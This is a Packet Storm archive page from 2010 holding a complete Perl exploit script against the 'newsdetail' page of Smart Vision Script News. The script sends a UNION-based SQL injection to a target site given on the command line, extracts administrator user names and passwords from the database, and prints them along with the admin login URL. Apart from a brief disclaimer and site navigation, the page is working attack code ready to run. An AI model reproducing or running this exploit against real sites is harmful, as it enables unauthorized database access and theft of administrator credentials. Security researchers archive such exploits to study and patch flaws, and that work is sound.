what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Smart Vision Script News SQL Injection Exploit

Smart Vision Script News SQL Injection Exploit
Posted Jan 4, 2010
Authored by darkmasking

Smart Vision Script News remote SQL injection exploit.

tags | exploit, remote, sql injection
SHA-256 | bc2a268260975e5645118403ad9d5ff460e39eb0181a5c861611158db9368c04

Smart Vision Script News SQL Injection Exploit

Change Mirror Download
#!usr/bin/perl
############################################################################
# Exploit Title: Smart Vision Script News (newsdetail) SQL Injection Exploit
# Date: 01-04-2010
# Author: darkmasking
############################################################################
# This was written for educational purpose only. Use it at your own risk.
# Author will be not responsible for any damage!
############################################################################
# Vuln discovered by Err0R
# Smart Vision Script News ( newsdetail ) SQL Injection Vulnerability
# http://www.exploit-db.com/exploits/10977
############################################################################
# Greetz : sorry bro lom ada teman jadi tuk diri sendiri aja 0_o
############################################################################

use IO::Socket::INET;
use LWP::UserAgent;

sub banner {

print "\n".
"[»]=============================================[_][-][X]\n".
"[»] ======= ------d-------m------ ==== ==== [»]\n".
"[»] || === = | |(o o)| | ||== || ==|| [»]\n".
"[»] || === = ||(~)|| || = = || [»]\n".
"[»] ======= | || || [»]\n".
"[»]---------------------------------------------------[»]\n".
"[»] Smart Vision Script News (newsdetail) [»]\n".
"[»] SQL Injection Exploit [»]\n".
"[»] by darkmasking [»]\n".
"[»] Vuln discovered by Err0R [»]\n".
"[»]===================================================[»]\n\n";
}

my $host = $ARGV[0];
my $sql_path = "/newsdetail.php?id=";
my $admin_path ="/admin/admin.php";

if (@ARGV < 1) {
&banner();
&help("-1");
}

elsif(check($host) == 1) {
&banner();
&dmploit($host,$sql_path);
}

else {
&banner();
help("-2");
}

sub dmploit() {

my $host = $_[0];
my $sql_path = $_[1];

print "[+] Getting Username and Password\n";
print "[!] Checking...\n";
print "\n";

my $sql_atk = $host.$sql_path."-9999 union select null,concat(0x6461726b6d61736b696e67,0x3a,user_name,0x3a,password,0x3a,0x6461726b6d61736b696e67),null,null,null,null,null from zagrosle_zagros.user_accounts--";
my $sql_get = get_url($sql_atk);
my $connect = tag($sql_get);

if($connect =~ /darkmasking:(.+):(.+):darkmasking/) {

print "-o0 SQL Injection Successfully 0o-\n";
print "[+] Username : $1\n";
print "[+] Password : $2\n";
print "\n";
print "[+] Admin URL = $host$admin_path\n";

}

else {
print "[-] SQL Injection Failed\n";
}
}

sub get_url() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(5);
my $response = $ua->request($req);
return $response->content;
}

sub tag() {
my $string = $_[0];
$string =~ s/ /\$/g;
$string =~ s/\s/\*/g;
return($string);
}

sub check() {
my $host = $_[0];
if ($host =~ /http:\/\/(.*)/) {
return 1;
}
else {
return 0;
}
}

sub help() {

my $error = $_[0];
if ($error == -1) {
print "\n[-] Error, missed some arguments !\n\n";
}

elsif ($error == -2) {

print "\n[-] Error, Bad arguments !\n";
}

print " Usage : perl $0 http://www.darkurl.com/\n\n";
print " Ex : perl $0 http://www.darkurl.com/\n\n";
exit(0);
}

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close